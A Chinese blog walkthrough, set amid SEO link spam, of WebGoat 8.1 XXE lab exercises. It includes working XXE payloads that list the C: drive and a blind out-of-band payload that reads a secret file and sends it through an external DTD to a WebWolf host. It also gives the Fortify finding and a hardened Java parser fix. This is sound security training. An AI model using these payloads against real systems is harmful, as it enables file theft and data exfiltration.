当前位置: 首页 > news >正文

网站价格表/sem竞价教程

网站价格表,sem竞价教程,做百度网站还是安居客网站,怎么样在百度做网站XML外部实体注入漏洞,也称为XXE漏洞( XML External Entities (XXE) )。XML作为一种使用较为广泛的数据传输格式,很多应用程序都包含有处理XML数据的代码。默认情况下,许多过时的或配置不当的XML处理程序都会对外部实体…

XML外部实体注入漏洞,也称为XXE漏洞( XML External Entities (XXE) )。XML作为一种使用较为广泛的数据传输格式,很多应用程序都包含有处理XML数据的代码。默认情况下,许多过时的或配置不当的XML处理程序都会对外部实体进行引用。

如果攻击者可以上传XML文档或者在XML文档中添加恶意内容,通过易受攻击的代码、依赖项或集成,就能够攻击包含缺陷的XML处理程序。XXE漏洞的出现和开发语言无关,只要是应用程序中对XML数据做了解析,而这些数据又受用户控制,那么应用程序都可能受到XXE攻击。

既然XML可以从外部读取DTD文件,如果将路径换成另一个文件的路径,那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中,只要把XML中前面的根元素内容显示出来,就可以读取文件内容,这就造成了一个任意文件读取的漏洞。

服务器解析XML有两种方式:

1. 一种是一次性将整个XML加载进内存中,进行解析;

2. 另一种是一部分一部分的“流式”地加载、解析。如果我们递归地调用XML定义,每次调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。

一个外部实体声明

语法:<!ENTITY 实体名称 SYSTEM "URI/URL">或者<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

例子

DTD:<!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd">

XML:<author>&writer;</author>

外部实体类型包括:

如果要引用一个外部资源,可以借助各种协议。举几个例子:

php://filter/read=convert.base64-encode/resource=conf.php

file:///etc/passwd

http://url/file.ext

XXE漏洞可能会用于提取数据、执行远程服务器请求、扫描内部系统、执行命令和拒绝服务攻击等。业务影响主要取决于受影响的引用程序和数据保护需求。

演示案例:XML External Entities (XXE)  A4,这是webgoat 8.1 安全漏洞靶场中的一个安全漏洞。

目的:向照片添加评论,在提交表单时尝试使用评论字段执行XXE注入,尝试列出文件系统的根目录。

漏洞利用POC:

第1步:打开火狐浏览器web开发者工具,在评论输入框随便输入任何内容,点击【Submit】按钮,进行抓包

第2步:点开左侧文件列中simple这个POST,右键选择【编辑并重发】,滑动滚动条到最下面。

第3步:复制下面内容粘贴替换图中红框的请求主体内容,注意不要有空行。

<?xml version="1.0"?>

<!DOCTYPE wukong [

<!ELEMENT name ANY>

<!ENTITY wukong SYSTEM "file:///C:/">

]>

<comment>  <text>&wukong;</text></comment>

第4步:滑动滚动条至最上方,点击【发送】按钮

第5步:刷新火狐浏览器页面,可以看到评论区中列出C:/tools/Benchmark-1.2beta目录下所有内容。

看响应输出:

使用自动化检测工具检测如下图:

选择CWE611,进行检测,可以检测出XML外部实体引用的不恰当限制漏洞

源代码分析,文件位置:

E:\share\WebGoat-8.1.0\webgoat-lessons\xxe\src\main\java\org\owasp\webgoat\xxe\SimpleXXE.java

在(Comments.java)文件第(90)行调用[createXMLStreamReader]方法解析XML数据,解析来自外部的XML数据容易发生外部实体XXE攻击。

参考下面的设置,修改代码

修改Comments.java

protected Comment parseXml(String xml) throws JAXBException, XMLStreamException {

        var jc = JAXBContext.newInstance(Comment.class);

        var xif = XMLInputFactory.newInstance();

        xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

        xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);

        var xsr = xif.createXMLStreamReader(new StringReader(xml));

        var unmarshaller = jc.createUnmarshaller();

        return (Comment) unmarshaller.unmarshal(xsr);

    }

使用自动化检测工具检测,不再报出XXE

编译:mvn clean install -Dmaven.test.skip=true

打包XXE文件夹:

D:\webgoat\WebGoat-8.1.0\webgoat-lessons\xxe\target\classes\org\owasp\webgoat

选择CWE611检测器,进行检测

WebGoat项目 (A4) XML External Entities (XXE) 第7小节  分析如下

第7小节和第4小节题目类似,不过此题目采用的传输数据包是json格式。

1、请求头中content-type改成application/xml

2、尝试执行与第一次赋值中相同的XML注入

使用自动化检测工具,进行检测,给出如下截图:

使用编译后的工程,启动:mvn –pl webgoat-server spring-boot:run

访问:http://127.0.0.1:8080/WebGoat  ,再次输入

<?xml version="1.0"?>

<!DOCTYPE wukong [

<!ELEMENT name ANY>

<!ENTITY wukong SYSTEM "file:///C:/">

]>

<comment>  <text>&wukong;</text></comment>

执行,输出没有再列出硬盘内容

另一个案例,(A4) XML External Entities (XXE)  第11小节

题目要求:webgoat有一个XXE漏洞,同时webgoat服务器上有个密码文件,通过XXE把这个密码文件读取,并且发送到我们自己的恶意站点webwolf,webwolf接受到这个请求就顺理成章获取了密码文件里面的密码。

启动WebWolf:java -jar webwolf-8.1.0.jar [--server.port=9090] [--server.address=localhost]

页面访问WebWolf:http://127.0.0.1:9090/WebWolf

第一步:在WebWolf上传外部XML文件m0re.dtd。m0re.dtd文件内容:

<!ENTITY % payload  "<!ENTITY m0re SYSTEM 'http://127.0.0.1:8081/landing?text=%file;'>">

第二步:在WebGoat页面的评论框中输入任何内容,点击Submit然后抓包修改,请求利用这个外部XML。粘贴下面文本框中的内容替换请求主体,然后点击发送。

<?xml version="1.0"?>

<!DOCTYPE root [

<!ENTITY % file SYSTEM "file:///C:/Users/IBM/.webgoat-8.1.0/XXE/secret.txt">

<!ENTITY % zxcv SYSTEM "http://127.0.0.1:9090/files/manok1/m0re.dtd">

%zxcv;

%payload;

]>

<comment>  <text>&m0re;</text></comment>

第三步:blind XXE没有回显,所以需要在WebWolf中查找,清晰地看到WebWolf多了请求。

第四步:显示的内容需要进行URL解码后提交评论,看到页面出现Congratulations的提示,表示成功完成当前任务。http://tool.chinaz.com/tools/urlencode.aspx

通过Fortify,查看检测结果。(检测WebGoat整个项目)

Comments.java:90 中配置的XML解析器无法预防和限制外部实体进行解析。这会使解析器暴露在XML External Entities攻击之下。

文件位置:

 E:\share\WebGoat-8.1.0\webgoat-lessons\xxe\src\main\java\org\owasp\webgoat\xxe\SimpleXXE.java

在(Comments.java)文件第(90)行调用[createXMLStreamReader]方法解析XML数据,解析来自外部的XML数据容易发生外部实体XXE攻击。

(结束)

http://www.jmfq.cn/news/4898971.html

相关文章:

  • ppt图标网站链接怎么做/兰州网站seo服务
  • ck播放器做解析网站/天眼查询个人
  • wordpress文章变缩略图/网站seo怎么操作
  • 做的好看的统一登录网站/公司网站如何在百度上能搜索到
  • 平台网站建设 厦门/seo网络培训班
  • wordpress付费开通站点/aso排名
  • 建立网站项目计划书模板/网站seo应用
  • 郴州网站建设费用价格/seo批量建站
  • 花都网站设计都/新闻头条最新消息今天
  • 在哪里买空间做网站/舆情分析报告案例
  • 小型企业网站建设毕业论文/网站快速排名互点软件
  • 罗田县住房和城乡建设局网站/最佳的搜索引擎
  • 上市公司中 哪家网站做的好/百度 营销推广是做什么的
  • 机关网站及新媒体建设实施方案/需要优化的地方
  • 网站开发设计师培训/市场营销方案怎么做
  • 安徽省经工建设集团公司网站/网络营销工具介绍
  • 网站建设技术方面论文/seo也成搜索引擎优化
  • 大气网站源码/seo资料
  • 厦门网站建设设计/网站策划书怎么写
  • wordpress 前台发文章/seo资讯
  • 淘客做的领券网站/网络营销有哪些例子
  • 加快公司网站建设/百度网址怎么输入?
  • 品牌营销型网站作用/网络营销推广渠道
  • html网站列表怎么做/5g站长工具查询
  • 门户网站的推广/网站出售
  • 销售订单管理系统软件/专业全网优化
  • 大连网络推广平台/网站推广优化怎样
  • 精品网站建设费用 找磐石网络一流/长沙关键词优化推荐
  • 淄博做网站跟优化/网店运营推广实训
  • 浙江省建设委员会网站/3小时百度收录新站方法